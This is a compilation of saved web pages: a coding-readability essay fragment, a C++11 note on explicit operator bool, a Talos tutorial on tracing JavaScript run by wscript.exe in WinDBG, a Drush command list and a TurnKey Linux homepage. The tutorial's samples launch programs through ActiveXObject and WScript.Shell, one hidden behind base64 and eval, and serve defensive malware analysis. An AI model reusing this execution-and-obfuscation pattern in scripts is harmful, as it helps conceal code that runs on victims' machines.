> is a path from any point to any other point in the graph. \(source\)
<img src='img/Temp2_5972.png' />

In other words in _" connected"_ code you can easily follow from one method to
another making a model in your mind of what this code does.

If somewhere in code a connection is broken \(in a sense that IDE can't assist
you jumping from one method to another\) you usually have to spend some time
looking for this connection yourself. More broken connections in code —>
harder it is to follow —> harder it is to read.

So, why code graph might be disconnected? There are many reasons, I'll list
the ones I see most often:

**1\. Methods or properties are referenced as strings**

Some frameworks just love doing this. They pass _" callbacks"_ as strings and
use reflection when needed. Here you just have to use good old **CMD+F**.

Most evil ones make these strings dynamic... in dynamic languages. _All hail
JavaScript\! Or AS3 for that matter._

**2\. Code is separated into disconnected parts**

For example half of your code is written in C\# and the other half is
assembled in a visual node editor. You will have hard time jumping between
these two worlds.

The same stands for _Dependency Injection frameworks_ and other XML-configured
bullshit. They don't say it loud but writing XML configs is coding too. It's
called declarative programming _\(not mentioning those insane people who build
imperative languages over XML\)_.

**3\. Huge graph nodes**

20 links jump to this 1000 lines long method?.. ouch. You have no use for a
graph which contains such nodes.

**4\. Everything is too abstract**

When by **Go to Declaration** you get to an interface or an abstract class and
have to figure out what implementation there might be used. It gets worse with
_Dependency Injection_ , _abstract factories_ and all the other methods which
fight dependencies. Connections between nodes in code graph become too
abstract.

It might seem that I hate **DI** and **XML**. DI is a great tool to avoid
_spaghetti code_ and make your architecture more modular and testable. But as
many other good things it gets ugly when abused.

> I was completely discouraged once when I was inspecting an app and I
> realised that I couldn't figure out where it starts... Like where the entry
> point is. It all was just automagically assembled from a huge XML config on
> start.
I do hate _XML configs_ though.

So, here's what you should have learned:

  * Master your IDE,
  * Keep code graphs as connected as possible,
  * Write simple code first,
  * By writing unnecessary code you are wasting a lot of money.

It will take time and forcing yourself to write simple code and resist
optimizations on early stages will definitely be hard.

> But 2 hours before the deadline, being awake for 48 hours straight you will
> say "thank you" to yourself in the past if the code you are working with is
> debuggable with a half asleep brain.

# Chris's C++ Thoughts: Contextually converted to bool

**Created:**| _7/30/2013 8:10:33 AM_  
---|---  
**Updated:**| _7/30/2013 8:10:33 AM_  
**Author:**| __  
**Tags:**| _C++11_  
  

# **C** ontextually converted to bool****

Something I found mildly surprising about c++11 is that this works:

[code]

    #include <iostream>
    
    struct Testable
    {
        explicit operator bool() const { return true; }
    };
    
    int main()
    {
        Testable t;
        if (t)
            std::cout << "Converted to true**!** \n";
    }
    
[/code]

That is, it compiles and prints `Converted to true**!**`.  
The new bit here is the `explicit` keyword**.** When I first saw an example
like this, I expected to have to write

[code]

    if (bool( t )) // ..**.**
    
[/code]

If this was an `operator someOtherType()`, we would have to write the
conversion explicitly**.** If we wanted to use `t` say as an argument to a
function accepting `bool`, we would also have to write the conversion
explicitly \(it is the `explicit` keyword, after all**\!**\).  
What makes this work is this wording in The Standard, at Section 4 `Standard
conversions`, paragraph 3:

> An expression `e` can be implicitly converted to a type `T` if and only if
> the declaration `T t=e;` is well-formed, for some invented temporary
> variable `t` \(8**.** 5\). Certain language constructs require that an
> expression be converted to a Boolean value**.** An expression `e` appearing
> in such a context is said to be **contextually converted to`bool`** and is
> well-formed if and only if the declaration `bool t(e);` is well-formed, for
> some invented temporary variable `t` \(8**.** 5\). The effect of either
> implicit conversion is the same as performing the declaration and
> initialization and then using the temporary variable as the result of the
> conversion**.**
So basically, in any kind of logical condition, an `explicit operator bool()`
can be called without having to write `bool(..**.**)`**.** This replaces the
need for workarounds such as `operator void*`, or The Safe `bool` Idiom  \(if
you were wondering why you wouldn't just use `operator bool()` without the
`explicit`, that link will explain it\)**.**  
  
I've been trying to enumerate all the cases in The Standard where it uses the
wording "contextually converted to `bool`", but I may have missed some:

  * Negation: `**!** t` \(5.3.1 p9\). 
  * Logical AND: `t&&s` \(5**.** 14\). 
  * Logical OR: `t||s` \(5**.** 15\). 
  * Conditional operator: `t**?** "yup":"nope"` \(5.16 p1\). 
  * Selection statement \(other than `switch`\): `if (t)` or `if (Testable t{})` \(6**.** 4 p4\). 
  * `for` statement, `for(;t;) //..**.**`, and 
  * `while` statement, `while(t) //..**.**`. The wording isn't used directly for these, and they are actually defined in section 6**.** 5, but 6.4 p2 says "The rules for conditions apply both to _selection-statements_ and to the `for` and `while` statements \(6**.** 5\)."
  * `do` statement: `do {//..**.**} while (t);` \(6.5.2 p1\). 
  * static-assert\_declaration: `static_assert(t);` \(note you will need `constexpr` here\) \(7 p4\)**.**
  * Exception specification: `SomeType foo() noexcept(t);` \(note you will need `constexpr` here\) \(15**.** 4 p1\)**.**
  * NullablePointer concept: Any type `P` that can be used where the standard library requires a type fulfilling the NullablePointer concept, it is required that an instance of `P` can be contextually converted to `bool` \(17**.** 6**.** 3.3 p3\). 
  * Any algorithm in the `<algorithm>` header that takes a template parameter named `Predicate`, then for an instance `pred` of that type, it must support `pred(*first)` being contextually converted to type `bool`**.** \(25.1 p8\)   
Similarly, for a `BinaryPredicate binary_pred`, it is required that
`binary_pred(*first1, *first2)` or `binary_pred(*first1, value)` can be
contextually converted to type `bool`**.** \(25.1 p9\)

  * For any algorithm taking a comparator type `Compare`, for an instance `Compare comp`, the return value when contextually converted to type `bool` must convert to `true` if the first argument is less than the second, and `false` otherwise**.** \(25.4 p2\) 

And I think that's it\! This is being made use of in various places throughout
the c++11 Standard, for instance in the `basic_ios` template, `operator
void*()` has been replaced with `explicit operator bool()` **.** It is also
used to simulate checking for `NULL` in the Standard smart pointers,
`shared_ptr` and `unique_ptr` **.** Have a look through these**.**  
  
Note: I don't have the official ISO C++ Standard published 2011-09-01**.** I
am looking at N3337, the first draft published after the official Standard, on
2012-16-01**.** In N3337, the wording for Logical AND is contextually
converted to **type** `bool`**.** This is corrected in the most recent c++14
draft N3691 \(2013-05-16\)**.**  
  
Let me make it entirely clear that the previous methods of achieving this
behaviour \(e**.** g**.** `operator void*()`\) still work as ever**.** It's
just there is now a nicer way \(I consider it nicer in that it more clearly
indicates intent, and actually does what you wanted\)**.** ****

# WinDBG and JavaScript Analysis

**Created:**| _9/4/2017 9:26:08 AM_  
---|---  
**Updated:**| _9/4/2017 9:26:08 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

###  WinDBG and JavaScript Analysis

This blog was authored by Paul Rascagneres.  
  

##  Introduction

  
JavaScript is frequently used by malware authors to execute malicious code on
Windows systems because it is powerful, natively available and rarely
disabled. Our previous article on .NET analysis generated much interest
relating to how to use WinDBG to analyse .js files. In this post we extend our
description of using WinDBG to describe the analysis of JavaScript using the
64 bit version of wscript.exe. It is strongly recommended to read our previous
article first.  
  
  

##  Object Loading on Windows Systems

  
JavaScript often needs to load external objects, in order to obtain access to
additional features not included by default in the Windows interpreter. This
can be achieved by using the ActiveXObject\(\) API \(to load ActiveX objects\)
or WScript.CreateObject\(\) API \(to load COM objects\). The mechanisms behind
these 2 API are the same: loading an external library to enable access to new
objects. Here are 2 examples:  

[code]

    new ActiveXObject("Shell.Application");
    WScript.CreateObject("Wscript.Shell");
    
[/code]

The first point is to understand which library is behind these two objects.
This information is stored in the registry. First we need to get the CLSID
associated to the object name in the following registry name:
HKEY\_CLASSES\_ROOT\OBJECT\_NAME\CLSID.  
  
Here is an example for the Shell.Application object name:  

<img src='img/12363_image2.png' width='640' height='162' />

This shows that the CLSID is \{13709620-C279-11CE-A49E-444553540000\}. With
this information we are able to get the dll path of the object in
HKEY\_CLASSES\_ROOT\CLSID\\\{THE\_CLSID\}:  

<img src='img/12362_image1.png' width='640' height='162' />

In this case, the library in which the Shell.Application object is located is
shell32.dll. With this information, we are able to start WinDBG in order to
analyse object loading and execution.  
  

##  WinDBG Analysis

  
The analysis of JavaScript execution is performed by debugging the wscript.exe
binary. This can be executed with the following command:  

[code]

    "C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\windbg.exe" C:\Windows\System32\wscript.exe c:\Users\User\to_be_analysed.js
    
[/code]

The technique is often the same:  

  * Breakpoint when the object library is loaded;
  * Identification and breakpoint on the wanted function;
  * Get arguments of the function

###  Case Study \#1: ActiveX Object

  
Consider the following code:  

[code]

    var oShell = new ActiveXObject("Shell.Application");
    var commandtoRun = "calc.exe";
    oShell.ShellExecute(commandtoRun,"","","","1");
    
[/code]

The first task is to find where the "Shell.Application" library object is
located in the registry:  

[code]

    c:\Users\user> script.py Shell.Application
    Object Name: Shell.Application
    CLSID: {13709620-C279-11CE-A49E-444553540000}
    Description: Shell Automation Service
    dll: %SystemRoot%\system32\shell32.dll
    
[/code]

This tells us that we should analyse shell32.dll. Let's execute this script
and introduce a breakpoint when the library is loaded:  

[code]

    0:000> sxe ld shell32 ; g
    ModLoad: 00007fff`c6af0000 00007fff`c7f27000   C:\WINDOWS\System32\SHELL32.dll
    ntdll!NtMapViewOfSection+0x14:
    00007fff`c8e658a4 c3              ret
    The next step is to identify the ShellExecute function:
    0:000> x shell32!ShellExecute
    
[/code]

Unfortunately, the function does not have the same name in JavaScript and in
the library. However, we can search for it using a regular expression:  

[code]

    0:000> x shell32!ShellExecute*
    00007fff`c6b13dd0 SHELL32!ShellExecuteExW (void)
    00007fff`c6b13e44 SHELL32!ShellExecuteNormal (void)
    00007fff`c6cb1630 SHELL32!ShellExecuteExA (<no parameter info>)
    00007fff`c6fa8d58 SHELL32!ShellExecuteRegApp (<no parameter info>)
    00007fff`c6bef560 SHELL32!ShellExecuteW (<no parameter info>)
    00007fff`c6cb15a0 SHELL32!ShellExecuteA (<no parameter info>)
    00007fff`c6fa9058 SHELL32!ShellExecuteRunApp (<no parameter info>)
    
[/code]

In our case, we can add a breakpoint for ShellExecuteNormal:  

[code]

    0:000> bp shell32!ShellExecuteNormal
    0:000> g
    Breakpoint 0 hit
    SHELL32!ShellExecuteNormal:
    00007fff`c6b13e44 48895c2408      mov     qword ptr [rsp+8],rbx ss:00000029`cb56c7a0=00000029cb56cc90
    
[/code]

We can now retrieve the argument directly via the RCX register:  

[code]

    0:000> r $t1=poi(rcx+0x18);du $t1
    000001ee`350d055c  "calc.exe"
    
[/code]

At first glance, it's not obvious why there is an offset of 0x18. This is due
to the argument being passed to ShellExecuteNormal\(\) is a pointer to a
SHELLEXECUTEINFO structure. The Microsoft documentation describes than in
these cases, the structure is located with the offset 0x18.  

###  Case Study \#2: WScript Shell Object

  
Let's consider a second example:  

[code]

    var shell = WScript.CreateObject("Wscript.Shell");
    var command = "calc.exe"; 
    shell.Run(command, true, false);
    
[/code]

As previously, the first task consists of finding the library where
Wscript.Shell is located:  

[code]

    c:\Users\user> script.py Wscript.Shell
    Object Name: Wscript.Shell
    CLSID: {72C24DD5-D70A-438B-8A42-98424B88AFB8}
    Description: Windows Script Host Shell Object
    dll: C:\Windows\System32\wshom.ocx
    
[/code]

Let's try to identify the function name:  

[code]

    0:000> sxe ld wshom
    0:000> g
    ModLoad: 00007fff`b5630000 00007fff`b5657000   C:\Windows\System32\wshom.ocx
    ntdll!NtMapViewOfSection+0x14:
    00007fff`c8e658a4 c3              ret
    0:000> x wshom!*Run*
    00007fff`b5640930 wshom!CUnknown::InnerUnknown::`vftable' = <no type information>
    00007fff`b563d530 wshom!CUnknown::InnerUnknown::QueryInterface (<no parameter info>)
    00007fff`b5648084 wshom!_IMPORT_DESCRIPTOR_ScrRun = <no type information>
    00007fff`b563d570 wshom!CUnknown::InnerUnknown::Release (<no parameter info>)
    00007fff`b5643d30 wshom!ScrRun_NULL_THUNK_DATA = <no type information>
    00007fff`b563bbb0 wshom!CWshShell::Run (<no parameter info>)
    00007fff`b5631000 wshom!CUnknown::InnerUnknown::AddRef (<no parameter info>)
    00007fff`b5644518 wshom!LIBID_IWshRuntimeLibrary = <no type information>)
    
[/code]

The function is wshom\!CWshShell::Run, we can breakpoint on this and check for
the argument:  

[code]

    0:000> bp wshom!CWshShell::Run
    0:000> g
    Breakpoint 0 hit
    wshom!CWshShell::Run:
    00007fff`b563bbb0 48895c2408      mov     qword ptr [rsp+8],rbx ss:00000020`7ccfd520=0000013f3d650420
    0:000> du rdx
    0000013f`3d65055c  "calc.exe"
    
[/code]

In contrary to the previous case study, the argument is directly a string and
not a structure, therefore there is no offset required to retrieve the
argument  

###  Case Study \#3: WScript XMLHTTP Object

  
Here is the source code for this case study:  

[code]

    var httpStream = WScript.CreateObject("MSXML2.XMLHTTP");
    httpStream.open("GET", 'http://blog.talosintelligence.com');
    httpStream.send();
    
[/code]

The library associated with the MSXML2.XMLHTTP object:  

[code]

    c:\Users\user> script.py MSXML2.XMLHTTP
    Object Name: MSXML2.XMLHTTP
    CLSID: {F6D90F16-9C73-11D3-B32E-00C04F990BB4}
    Description: XML HTTP
    dll: %SystemRoot%\System32\msxml3.dll
    
[/code]

We can use the same technique as before:  

[code]

    0:000> sxe ld msxml3
    0:000> g
    ModLoad: 00007fff`8dc40000 00007fff`8de68000   C:\WINDOWS\System32\msxml3.dll
    ntdll!NtMapViewOfSection+0x14:
    00007fff`c8e658a4 c3              ret
    
[/code]

This time, we use a regular expression to breakpoint on all the APIs that
contain the word "Open":  

[code]

    0:000> bm msxml3!*Open*
    1: 00007fff`8dc43030 @!"msxml3!ErrorHelper::CHTMLWindow2::open"
    breakpoint 1 redefined
    1: 00007fff`8dc43030 @!"msxml3!FakeHTMLDoc::open"
    2: 00007fff`8dd4c5fc @!"msxml3!HTTPStream::OpenRequest"
    3: 00007fff`8dcaa407 @!"msxml3!_imp_load_CertOpenStore"
    breakpoint 1 redefined
    1: 00007fff`8dc43030 @!"msxml3!ErrorHelper::CHTMLWindow2::get_opener"
    4: 00007fff`8dc48eb4 @!"msxml3!ContentModel::openGroup"
    5: 00007fff`8dd4cb00 @!"msxml3!HTTPStream::deferedOpen"
    breakpoint 1 redefined
    1: 00007fff`8dc43030 @!"msxml3!ErrorHelper::CHTMLDocument2::open"
    breakpoint 1 redefined
    1: 00007fff`8dc43030 @!"msxml3!ErrorHelper::CHTMLWindow2::put_opener"
    6: 00007fff`8dd4a050 @!"msxml3!URLMONRequest::open"
    7: 00007fff`8dc8f4d0 @!"msxml3!FileStream::deferedOpen"
    8: 00007fff`8dd34e80 @!"msxml3!XMLHttp::open"
    9: 00007fff`8dc597e0 @!"msxml3!URLMONStream::deferedOpen"
    10: 00007fff`8dc70ddc @!"msxml3!NamespaceMgr::popEntry"
    11: 00007fff`8dcaa3bf @!"msxml3!_imp_load_WinHttpOpen"
    12: 00007fff`8dcaa3e3 @!"msxml3!_imp_load_WinHttpOpenRequest"
    13: 00007fff`8dd47340 @!"msxml3!HTTPRequest::open"
    14: 00007fff`8dd47660 @!"msxml3!HTTPRequest::openWithCredentials"
    15: 00007fff`8dc8f37c @!"msxml3!FileStream::open"
    16: 00007fff`8dd4c128 @!"msxml3!URLStream::OpenPreloadResource"
    17: 00007fff`8dd4b410 @!"msxml3!URLRequest::open"
    0:000> g
    Breakpoint 8 hit
    msxml3!XMLHttp::open:
    00007fff`8dd34e80 488bc4          mov     rax,rsp
    
[/code]

We see that the API used is in fact XMLHttp::open\(\) from this we can obtain
the argument:  

[code]

    0:000> du rdx
    00000173`311a0568  "GET"
    0:000> du r8
    00000173`311a0578  "http://blog.talosintelligence.co"
    00000173`311a05b8  "m"
    
[/code]

These arguments are two strings rather than a structure and can be retrieved
without offset.  

###  Case Study \#4: Eval\(\) Function

  
The eval\(\) function is frequently used by malware authors to obfuscate code
execution. This function is native to JavaScript and does not require an
external library. Here is an example of eval\(\) in use:  

[code]

    var test = "var oShell = new ActiveXObject(\"Shell.Application\");var commandtoRun = \"notepad.exe\"; oShell.ShellExecute(commandtoRun,\"\",\"\",\"\",\"1\");"
    eval(test) 
    
    var encoded = "dmFyIG9TaGVsbCA9IG5ldyBBY3RpdmVYT2JqZWN0KCJTaGVsbC5BcHBsaWNhdGlvbiIpO3ZhciBjb21tYW5kdG9SdW4gPSAiY2FsYy5leGUiOyBvU2hlbGwuU2hlbGxFeGVjdXRlKGNvbW1hbmR0b1J1biwiIiwiIiwiIiwiMSIpOwo="
    eval(Base64.decode(encoded))
    
[/code]

This script executes 2 different kind of eval\(\) calls. The first, contains a
string to execute directly \(calc.exe execution\); the second contains a
command used to generate the code to execute \(notepad.exe execution encoded
with base64\).  
  
The eval\(\) function itself is located in the script.dll library: bp
jscript\!JsEval. The function uses the jscript\!COleScript::Compile API to
generate the JavaScript code executed via eval\(\):  

[code]

    0:000> sxe ld jscript;g
    ModLoad: 00007fff`9e650000 00007fff`9e70c000   C:\Windows\System32\jscript.dll
    ntdll!NtMapViewOfSection+0x14:
    00007fff`c8e658a4 c3              ret
    0:000> bp jscript!JsEval
    0:000> g
    Breakpoint 0 hit
    jscript!JsEval:
    00007fff`9e681960 488bc4          mov     rax,rsp
    0:000> u rip L50
    jscript!JsEval:
    00007fff`9e681960 488bc4          mov     rax,rsp
    00007fff`9e681963 48895810        mov     qword ptr [rax+10h],rbx
    00007fff`9e681967 48897018        mov     qword ptr [rax+18h],rsi
    00007fff`9e68196b 48897820        mov     qword ptr [rax+20h],rdi
    [...redacted…]
    00007fff`9e681a81 488364242000    and     qword ptr [rsp+20h],0
    00007fff`9e681a87 e80c3cfdff      call    jscript!COleScript::Compile
    00007fff`9e681a8c 89455f          mov     dword ptr [rbp+5Fh],eax
    00007fff`9e681a8f 8bf8            mov     edi,eax
    00007fff`9e681a91 85c0            test    eax,eax
    00007fff`9e681a93 7923            jns     jscript!JsEval+0x158 (00007fff`9e681ab8)
    
[/code]

We can breakpoint at jscript\!COleScript::Compile to obtain both the unencoded
string example calling calc.exe, and the decoded version of the base64 encoded
call to notepad.exe:  

[code]

    0:000> bp jscript!COleScript::Compile "r $t1 = poi(rdx+0x10);r $t2 = poi($t1+0x8);du $t2;g";g
    jscript!COleScript::Compile:
    00007fff`9e715698 4053            push    rbx
    0:000> g
    0000019b`d23f6408  "var oShell = new ActiveXObject(""
    0000019b`d23f6448  "Shell.Application");var commandt"
    0000019b`d23f6488  "oRun = "calc.exe"; oShell.ShellE"
    0000019b`d23f64c8  "xecute(commandtoRun,"","","","1""
    0000019b`d23f6508  ");."
    80070002 The system cannot find the file specified.
    0000019b`d473a1b0  "var oShell = new ActiveXObject(""
    0000019b`d473a1f0  "Shell.Application");var commandt"
    0000019b`d473a230  "oRun = "notepad.exe"; oShell.She"
    0000019b`d473a270  "llExecute(commandtoRun,"","","","
    0000019b`d473a2b0  ""1");"
    ntdll!NtTerminateProcess+0x14:
    00007fff`c8e65924 c3              ret
    
[/code]

##  Conclusion

  
WinDBG is an extremely powerful tool that can not only help in the analysis of
.NET files, but also help understand the execution of JavaScript by
wscript.exe. In many cases, WinDBG may be overkill for understanding the
functionality of single JavaScript files. However, using WinDBG can provide a
different overview of functionality and facilitate the analysis of complex
JavaScript.  
  

##  Appendix

  

###  Python script to get the library from an object name

[code]

    from _winreg import *
    import sys
    
    try:
      objectName = sys.argv[1]
    except:
      sys.exit(1)
    
    try:
      hReg = ConnectRegistry(None,HKEY_CLASSES_ROOT)
      hCLSIDKey = OpenKey(hReg, objectName+"\CLSID")
      CLSID=QueryValue(hCLSIDKey, "")
      if CLSID:
        hKey = OpenKey(hReg, "CLSID\\"+CLSID)
        description = QueryValue(hKey, "")
        hKey = OpenKey(hReg, "CLSID\\"+CLSID+"\\InProcServer32")
        dll = QueryValueEx(hKey, "")[0]
        print "Object Name: "+objectName
        print "CLSID: "+CLSID
        print "Description: "+description
        print "dll: "+dll
      else:
        print "No CLSID"
    except:
      print "Error"
      sys.exit(2)
    
[/code]

Posted by  Paul Rascagneres at 11:41 AM

Labels: javascript, Malware Analysis, reverse engineering, windbg

Share This Post

<img src='img/12360_icon_fb-share_grey.svg' width='25' height='25'
alt='Facebook share' /> <img src='img/12361_icon_tw-share_grey.svg' width='25'
height='25' alt='Twitter share' /> <img src='img/12364_icon_re-share_grey.svg'
width='25' height='25' alt='Reddit share' /> <img src='img/12365_icon_em-
share_grey.svg' width='25' height='25' alt='Email This' />

  

  *[11:41 AM]: 2017-08-09T11:41:00-04:00

# Drush.ws | A command line shell and scripting interface for Drupal.
**Created:**| _4/6/2011 8:31:26 AM_  
---|---  
**Updated:**| _4/10/2011 9:56:25 AM_  
**Author:**| __  
**Tags:**| _Drupal programming php_  
  

### Core drush commands

archive-dump| Backup your code, files, and database into a single file.  
---|---  
cache-clear| Clear a specific cache, or all drupal caches.  
core-cli| Enter a new shell optimized for drush use. Returns the exit code of
the last command executed in the shell.  
core-config| Edit drushrc and alias files.  
core-cron| Run all cron hooks in all active modules for specified site.  
core-rsync| Rsync the Drupal tree to/from another server using ssh.  
core-status| Provides a birds-eye view of the current Drupal installation, if
any.  
core-topic| Read detailed documentation on a given topic.  
drupal-directory| Return path to a given module/theme directory.  
help| Print this help message. See \`drush help help\` for more options.  
image-flush| Flush all derived images for a given style.  
php-eval| Evaluate arbitrary php code after bootstrapping Drupal \(if
available\).  
php-script| Run php script\(s\).  
search-index| Index the remaining search items without wiping the index.  
search-reindex| Force the search index to be rebuilt.  
search-status| Show how many items remain to be indexed out of the total.  
self-update| Update drush to the latest version, if available.  
site-alias| Print site alias records for all known site aliases and local
sites.  
site-install| Install Drupal along with modules/themes/configuration using the
specified install profile.  
site-upgrade| Run a major version upgrade for Drupal \(e.g. Drupal 6 to Drupal
7\). A copy of the site is made, and then upgraded; the source site is not
changed.  
test-clean| Clean temporary tables and files.  
test-run| Run tests. Note that you must use the --uri option.  
updatedb| Apply any database updates required \(as with running update.php\).  
variable-delete| Delete a variable.  
variable-get| Get a list of some or all site variables and values.  
variable-set| Set a variable.  
version| Show drush version.  
watchdog-delete| Delete watchdog messages.  
watchdog-list| Show available message types and severity levels. A prompt will
ask for a choice to show watchdog messages.  
watchdog-show| Show watchdog messages.

# TurnKey Linux Virtual Appliance Library | Virtual Appliances for Virtual Machines, Cloud Computing and Bare Metal
**Created:**| _1/14/2010 11:42:23 AM_  
---|---  
**Updated:**| _1/14/2010 11:42:51 AM_  
**Author:**| __  
**Tags:**| _bookmark virtusalisation_  
  

**About TurnKey Linux**  

Turnkey Linux is an open source project developing a free virtual appliance
library that features the very best server-oriented open source software. Each
virtual appliance is optimized for ease of use and can be deployed in just a
few minutes on bare metal, a virtual machine and in the cloud.

Why? Because everything that _can_ be easy, _should_ be easy.

Packaging a solution as a virtual appliance can be incredibly useful because
it allows you to leverage guru integration skills to build ready to use
systems \(I.e., turn key solutions\) that just work out of the box with little
to no setup.

  * Read more

# Demo videos

## Virtual Appliance Installation and Basic Usage

<img src='img/Temp2_8535.jpg' width='290' />

## Deploying Virtual Appliances in the VPS.NET cloud

<img src='img/Temp2_8507.jpg' width='290' />

\(Best viewed full-screen\)

## “Lighter, smaller, faster and easier is the formula behind TurnKey Linux”

— InfoWorld, 2009 Bossie awards \(source\)

More testimonials

  * All
  * Specials
  * Content management
  * Web development
  * Issue tracking
  * Messaging

<img src='img/Temp2_8510.jpg' width='106' height='111' />LAMP Stack
ApplianceWeb Stack \(MySQL\)| <img src='img/Temp2_8502.jpg' width='106'
height='111' />Drupal 6 ApplianceContent Management Framework| <img
src='img/Temp2_8521.jpg' width='106' height='111' />Joomla ApplianceCutting
Edge Content Management| <img src='img/Temp2_8504.jpg' width='106'
height='111' />WordPress ApplianceBlog Publishing Platform  
---|---|---|---  
<img src='img/Temp2_8506.jpg' width='106' height='111' />File Server
ApplianceSimple Network Attached Storage| <img src='img/Temp2_8488.jpg'
width='106' height='111' />Domain Controller ApplianceDrop-in PDC replacement|
<img src='img/Temp2_8530.jpg' width='106' height='111' />Torrent Server
ApplianceFile download and sharing server| <img src='img/Temp2_8516.jpg'
width='106' height='111' />Redmine ApplianceIntegrated SCM & Project
Management  
<img src='img/Temp2_8487.jpg' width='106' height='111' />Zimbra ApplianceEmail
and Collaboration Suite| <img src='img/Temp2_8517.jpg' width='106'
height='111' />MediaWiki ApplianceWikipedia's Wiki Engine| <img
src='img/Temp2_8512.jpg' width='106' height='111' />Ruby on Rails ApplianceWeb
Application Framework| <img src='img/Temp2_8532.jpg' width='106' height='111'
/>OpenBravo ApplianceEnterprise Resource Planning \(ERP\)  
<img src='img/Temp2_8534.jpg' width='106' height='111' />Moodle
ApplianceCourse Management System| <img src='img/Temp2_8493.jpg' width='106'
height='111' />OTRS ApplianceTicket Request System| <img
src='img/Temp2_8523.jpg' width='106' height='111' />MySQL ApplianceRelational
Database Management System| <img src='img/Temp2_8497.jpg' width='106'
height='111' />PostgreSQL ApplianceObject-relational Database System  
  * 1
  * 2
  * 3
  * next ›
  * last »

<img src='img/Temp2_8506.jpg' width='106' height='111' />File Server
ApplianceSimple Network Attached Storage| <img src='img/Temp2_8488.jpg'
width='106' height='111' />Domain Controller ApplianceDrop-in PDC replacement|
<img src='img/Temp2_8530.jpg' width='106' height='111' />Torrent Server
ApplianceFile download and sharing server| <img src='img/Temp2_8487.jpg'
width='106' height='111' />Zimbra ApplianceEmail and Collaboration Suite  
---|---|---|---  
<img src='img/Temp2_8532.jpg' width='106' height='111' />OpenBravo
ApplianceEnterprise Resource Planning \(ERP\)| <img src='img/Temp2_8524.jpg'
width='106' height='111' />Revision Control ApplianceAll-in-one code
repository| <img src='img/Temp2_8494.jpg' width='106' height='111' />ejabberd
ApplianceXMPP and Web Chat|  
<img src='img/Temp2_8502.jpg' width='106' height='111' />Drupal 6
ApplianceContent Management Framework| <img src='img/Temp2_8521.jpg'
width='106' height='111' />Joomla ApplianceCutting Edge Content Management|
<img src='img/Temp2_8504.jpg' width='106' height='111' />WordPress
ApplianceBlog Publishing Platform| <img src='img/Temp2_8516.jpg' width='106'
height='111' />Redmine ApplianceIntegrated SCM & Project Management  
---|---|---|---  
<img src='img/Temp2_8517.jpg' width='106' height='111' />MediaWiki
ApplianceWikipedia's Wiki Engine| <img src='img/Temp2_8534.jpg' width='106'
height='111' />Moodle ApplianceCourse Management System| <img
src='img/Temp2_8525.jpg' width='106' height='111' />Trac ApplianceIntegrated
SCM & Project Management| <img src='img/Temp2_8508.jpg' width='106'
height='111' />Deki ApplianceMindTouch Core Enterprise Wiki  
<img src='img/Temp2_8501.jpg' width='106' height='111' />TWiki
ApplianceEnterprise Wiki Platform| <img src='img/Temp2_8496.jpg' width='106'
height='111' />Gallery AppliancePhoto Album Organizer| <img
src='img/Temp2_8515.jpg' width='106' height='111' />DokuWiki
ApplianceDocumentation Wiki Platform| <img src='img/Temp2_8536.jpg'
width='106' height='111' />Movable Type ApplianceProfessional Publishing
Platform  
<img src='img/Temp2_8499.jpg' width='106' height='111' />MoinMoin ApplianceWiki Engine| | |   
<img src='img/Temp2_8510.jpg' width='106' height='111' />LAMP Stack
ApplianceWeb Stack \(MySQL\)| <img src='img/Temp2_8502.jpg' width='106'
height='111' />Drupal 6 ApplianceContent Management Framework| <img
src='img/Temp2_8512.jpg' width='106' height='111' />Ruby on Rails ApplianceWeb
Application Framework| <img src='img/Temp2_8495.jpg' width='106' height='111'
/>Tomcat on Apache ApplianceJava Servlet and JSP Platform  
---|---|---|---  
<img src='img/Temp2_8522.jpg' width='106' height='111' />Standalone Tomcat
ApplianceJava Servlet and JSP Platform| <img src='img/Temp2_8509.jpg'
width='106' height='111' />LAPP ApplianceWeb Stack \(PostgreSQL\)| <img
src='img/Temp2_8498.jpg' width='106' height='111' />Django ApplianceHigh-level
Python Web Framework| <img src='img/Temp2_8511.jpg' width='106' height='111'
/>Symfony AppliancePHP Web Framework  
<img src='img/Temp2_8519.jpg' width='106' height='111' />App Engine ApplianceGoogle App Engine SDK| | |   
<img src='img/Temp2_8516.jpg' width='106' height='111' />Redmine
ApplianceIntegrated SCM & Project Management| <img src='img/Temp2_8493.jpg'
width='106' height='111' />OTRS ApplianceTicket Request System| <img
src='img/Temp2_8518.jpg' width='106' height='111' />Tracks ApplianceGetting
Things Done \(GTD\) Application| <img src='img/Temp2_8525.jpg' width='106'
height='111' />Trac ApplianceIntegrated SCM & Project Management  
---|---|---|---  
<img src='img/Temp2_8514.jpg' width='106' height='111' />ProjectPier
ApplianceEasy Online Collaboration| <img src='img/Temp2_8531.jpg' width='106'
height='111' />Roundup ApplianceIssue Tracking System| <img
src='img/Temp2_8527.jpg' width='106' height='111' />Bugzilla ApplianceBug
Tracking System| <img src='img/Temp2_8526.jpg' width='106' height='111'
/>Mantis ApplianceBug Tracking System  
<img src='img/Temp2_8487.jpg' width='106' height='111' />Zimbra ApplianceEmail
and Collaboration Suite| <img src='img/Temp2_8489.jpg' width='106'
height='111' />phpBB ApplianceCommunity Forum Solution| <img
src='img/Temp2_8494.jpg' width='106' height='111' />ejabberd ApplianceXMPP and
Web Chat|  
---|---|---|---  
  * Blog
  * Updates

  * Exploring S3 based filesystems S3FS and S3Backer
11th Jan, 2010

  * Blogging - it's about time we started
7th Jan, 2010

  * 2009.10 release: 40 appliances with VMDK and Amazon EC2 support
23rd Oct, 2009

  * Launching TurnKey Linux into the VPS.NET hosting cloud
19th Jun, 2009

more

<img src='img/Temp2_8500.jpg' width='16' height='16' alt='Syndicate content'
/>

  * Joomla 1.5.15 package available
8th Nov, 2009

  * New Live Bootstrap \(2009.10-hardy\)
3rd Nov, 2009

  * New TurnKey phpBB appliance \(2009.10-hardy\)
3rd Nov, 2009

  * New TurnKey Deki version \(2009.10\)
23rd Oct, 2009

  * New TurnKey Core version \(2009.10\)
23rd Oct, 2009

more

<img src='img/Temp2_8500.jpg' width='16' height='16' alt='Syndicate content'
/>

<img src='img/Temp2_8505.jpg' /> <img src='img/Temp2_8491.jpg' /> <img
src='img/Temp2_8528.jpg' />

<img src='img/Temp2_8503.jpg' />

Sponsor

## Buy Us Beer

$ <img src='img/Temp2_8492.jpg' />

# Funding development: does web advertising \(e.g., Google AdSense\) annoy
you?

Liraz Siri \- Tue, 2009/12/29 - 22:13

No

Yes

  * 6 comments

